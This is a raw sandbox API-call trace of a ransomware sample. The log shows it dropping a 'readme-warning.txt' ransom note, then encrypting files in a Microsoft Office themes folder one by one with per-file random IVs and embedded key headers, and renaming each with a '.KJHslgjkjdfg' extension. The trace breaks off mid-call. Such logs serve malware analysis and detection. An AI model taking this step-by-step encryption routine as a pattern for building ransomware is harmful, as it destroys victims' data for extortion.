CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.308] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0189.308] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.308] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0189.308] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0189.309] GetProcessHeap () returned 0x2ef0000 [0189.309] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0189.309] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0189.309] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0189.309] GetProcessHeap () returned 0x2ef0000 [0189.309] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f11d10 [0189.309] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\readme-warning.txt") returned 80 [0189.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.309] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11d10*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f11d10*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0189.310] CloseHandle (hObject=0x12c) returned 1 [0189.311] GetProcessHeap () returned 0x2ef0000 [0189.311] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0189.311] GetProcessHeap () returned 0x2ef0000 [0189.311] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0189.311] GetProcessHeap () returned 0x2ef0000 [0189.311] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0189.311] GetProcessHeap () returned 0x2ef0000 [0189.311] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0189.311] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0189.311] GetProcessHeap () returned 0x2ef0000 [0189.311] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0189.311] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WATERMAR", cAlternateFileName="")) returned 1 [0189.311] GetProcessHeap () returned 0x2ef0000 [0189.311] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x92) returned 0x2f170f8 [0189.311] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0189.312] GetProcessHeap () returned 0x2ef0000 [0189.312] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170f8 | out: hHeap=0x2ef0000) returned 1 [0189.312] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0189.312] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0189.312] GetProcessHeap () returned 0x2ef0000 [0189.312] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x294) returned 0x2f10788 [0189.312] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.313] GetProcessHeap () returned 0x2ef0000 [0189.313] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0189.313] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0189.313] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0189.313] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xd, lpOverlapped=0x0) returned 1 [0189.315] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.315] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.315] GetProcessHeap () returned 0x2ef0000 [0189.315] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0189.315] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0189.316] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.316] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0189.316] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0189.316] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0189.316] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0189.316] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0189.316] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0189.316] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.316] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.316] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.316] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x623, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x623, lpOverlapped=0x0) returned 1 [0189.316] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x630, dwBufLen=0x630 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x630) returned 1 [0189.316] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.316] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x630, lpOverlapped=0x0) returned 1 [0189.316] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.316] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.317] SetEndOfFile (hFile=0x12c) returned 1 [0189.319] GetProcessHeap () returned 0x2ef0000 [0189.319] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0189.319] GetProcessHeap () returned 0x2ef0000 [0189.319] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0189.319] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.kjhslgjkjdfg")) returned 1 [0189.322] CloseHandle (hObject=0x12c) returned 1 [0189.323] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x75da, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0189.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.336] GetProcessHeap () returned 0x2ef0000 [0189.336] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0189.336] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0189.336] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0189.336] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x6, lpOverlapped=0x0) returned 1 [0189.338] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.338] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.338] GetProcessHeap () returned 0x2ef0000 [0189.338] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0189.338] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0189.338] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.338] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0189.338] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0189.338] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0189.338] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0189.339] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0189.339] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0189.339] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.339] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.339] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.339] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x75da, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x75da, lpOverlapped=0x0) returned 1 [0189.340] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x75e0, dwBufLen=0x75e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x75e0) returned 1 [0189.340] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.340] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x75e0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x75e0, lpOverlapped=0x0) returned 1 [0189.341] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.341] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x76b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.341] SetEndOfFile (hFile=0x12c) returned 1 [0189.343] GetProcessHeap () returned 0x2ef0000 [0189.343] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0189.343] GetProcessHeap () returned 0x2ef0000 [0189.343] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0189.343] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0189.353] CloseHandle (hObject=0x12c) returned 1 [0189.353] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37d2a200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37d2a200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfc6, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="WATERMAR.ELM", cAlternateFileName="")) returned 1 [0189.354] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.354] GetProcessHeap () returned 0x2ef0000 [0189.354] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0189.354] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0189.354] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0189.354] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xa, lpOverlapped=0x0) returned 1 [0189.357] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.357] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.357] GetProcessHeap () returned 0x2ef0000 [0189.357] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0189.357] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0189.357] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.357] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0189.357] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0189.357] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0189.357] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0189.358] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0189.358] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0189.358] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.358] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.358] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.358] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xbfc6, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xbfc6, lpOverlapped=0x0) returned 1 [0189.360] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xbfd0, dwBufLen=0xbfd0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xbfd0) returned 1 [0189.360] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.360] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xbfd0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xbfd0, lpOverlapped=0x0) returned 1 [0189.360] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.360] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xc0a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.360] SetEndOfFile (hFile=0x12c) returned 1 [0189.363] GetProcessHeap () returned 0x2ef0000 [0189.363] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0189.363] GetProcessHeap () returned 0x2ef0000 [0189.363] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0189.363] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm.kjhslgjkjdfg")) returned 1 [0189.365] CloseHandle (hObject=0x12c) returned 1 [0189.366] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 1 [0189.366] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.366] GetProcessHeap () returned 0x2ef0000 [0189.366] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0189.366] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0189.366] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: 